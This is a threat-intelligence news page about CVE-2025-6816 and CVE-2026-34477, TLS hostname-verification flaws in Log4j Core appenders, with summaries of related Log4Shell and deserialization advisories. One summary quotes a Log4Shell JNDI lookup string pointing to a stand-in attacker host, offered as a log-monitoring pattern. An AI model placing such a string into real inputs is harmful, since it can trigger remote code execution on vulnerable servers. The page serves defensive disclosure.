Loading story…
A critical vulnerability has been disclosed in Apache Log4j Core, specifically affecting the Socket Appender component in versions 2.0-beta9 through 2.25.2. The flaw arises from improper verification of the TLS hostname in peer certificates, even when administrators have enabled hostname verification in the configuration. This oversight allows attackers positioned between a client and a log receiver to intercept or redirect sensitive logging traffic by presenting a certificate trusted by the application's configured trust store, potentially exposing mission-critical log data to unauthorized third parties.
The vulnerability, identified as CVE-2025-6816 and assigned a CVSS 4.0 score of 6.3 (medium severity), requires attackers to intercept network traffic and leverage a trusted certificate to succeed. Apache has released version 2.25.3 of Log4j Core to address this issue, and organizations using affected versions are urged to upgrade immediately to secure their logging infrastructure and prevent unauthorized access to sensitive log streams. The flaw highlights the importance of robust TLS implementation in logging frameworks, which often handle highly sensitive information by design.
See affected versions and whether adversaries are exploiting it.
3 events from the most recent confirmed update back to the earliest known activity.
Apache disclosed CVE-2026-34477, an incomplete fix issue in Log4j Core where the verifyHostName attribute in nested TLS <Ssl> configurations was silently ignored, enabling possible hostname verification bypass in affected SMTP, Socket, and Syslog appenders. Apache said versions 2.12.0 through 2.25.3 and 3.0.0-alpha1 through 3.0.0-beta3 are affected and released Log4j Core 2.25.4 to remediate the flaw.
Apache released Log4j Core version 2.25.3 to remediate CVE-2025-6816 and advised organizations to upgrade immediately. As a mitigation for those unable to patch, Apache recommended limiting trust stores to only necessary CA certificates.
A vulnerability identified as CVE-2025-6816 was disclosed in Apache Log4j Core affecting the Socket Appender in versions 2.0-beta9 through 2.25.2. The flaw stems from improper TLS hostname verification, allowing a man-in-the-middle attacker with a trusted certificate to intercept or redirect sensitive log data.
Vulnerabilities, threat actors, malware, products, organizations, and breaches Mallory has linked to this story.
See whether adversaries are exploiting this yet, and where the affected versions run in your environment.
3 references tracked. Mallory keeps watching after this page renders.
seclists.org
Open sourcecybersecuritynews.com
Open sourcesecurityonline.info
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
A critical vulnerability in Apache Log4j 2, tracked as **`CVE-2021-44228`**, allows unauthenticated remote code execution through abuse of the library’s **JNDI** functionality. Affected versions include **`2.0-beta9` through `2.14.1`**, where attacker-controlled input in log messages, configuration, or parameters can trigger lookups to malicious **LDAP** and related endpoints, potentially leading to full server compromise, data exposure, malware deployment, and service disruption. CISA described the flaw as a severe, widespread risk because Log4j is embedded across countless enterprise applications and services. Apache and government cybersecurity authorities urged organizations to rapidly identify all direct and transitive uses of Log4j, upgrade to **`2.15.0`** or later, and apply mitigations where immediate patching is not possible. Recommended defensive steps included disabling message lookups, removing the **`JndiLookup`** class, monitoring logs for exploit strings such as `${jndi:ldap://attacker.com/a}`, hardening internet-exposed systems, and isolating affected hosts while resetting credentials on any servers suspected of compromise.
Sep 2, 2026
Apache Log4j socket receivers contain unsafe Java deserialization flaws that permit unauthenticated remote code execution when attackers can send crafted serialized log events to an exposed TCP or UDP `SocketServer`. **CVE-2017-5645** affects Log4j 2 versions `2.0-alpha1` through `2.8.1`; Apache addressed it in `2.8.2` by adding configurable `ObjectInputStream` class filtering to `TcpSocketServer` and `UdpSocketServer`. Legacy Log4j 1.2's `SocketServer` is also vulnerable to the same attack class under **CVE-2019-17571**, affecting releases through `1.2.17` and requiring a suitable deserialization gadget. Log4j 1.x has been end-of-life since 2015 and will not receive fixes; organizations should migrate to supported Log4j 2 releases, upgrade vulnerable 2.x deployments to `2.8.2` or later, and disable or restrict exposed socket-server components where upgrades are not immediately possible.
Aug 28, 2026
Apache Log4j 2’s JNDI lookup feature enabled the critical **Log4Shell** remote-code-execution vulnerability, tracked as `CVE-2021-44228`. An attacker could cause a vulnerable application to log a crafted string that triggers a lookup to an attacker-controlled LDAP or other JNDI service, potentially leading to arbitrary code execution under the application’s privileges. The issue affected Log4j 2 versions from `2.0-beta9` through `2.14.1` and created broad exposure because Log4j is widely embedded in Java software and services. Organizations should identify direct and transitive Log4j dependencies, upgrade to a supported remediated release appropriate to their Java runtime, and verify that deployed artifacts—not only build manifests—no longer contain vulnerable `log4j-core` versions. **SLF4J itself is not vulnerable**: it is a logging facade and does not perform Log4j’s JNDI message lookups, though applications using SLF4J can remain exposed when their selected logging backend is vulnerable Log4j 2. Internet-facing Java services and vendor-supplied products should be prioritized for patching, monitoring, and vendor confirmation.
Aug 28, 2026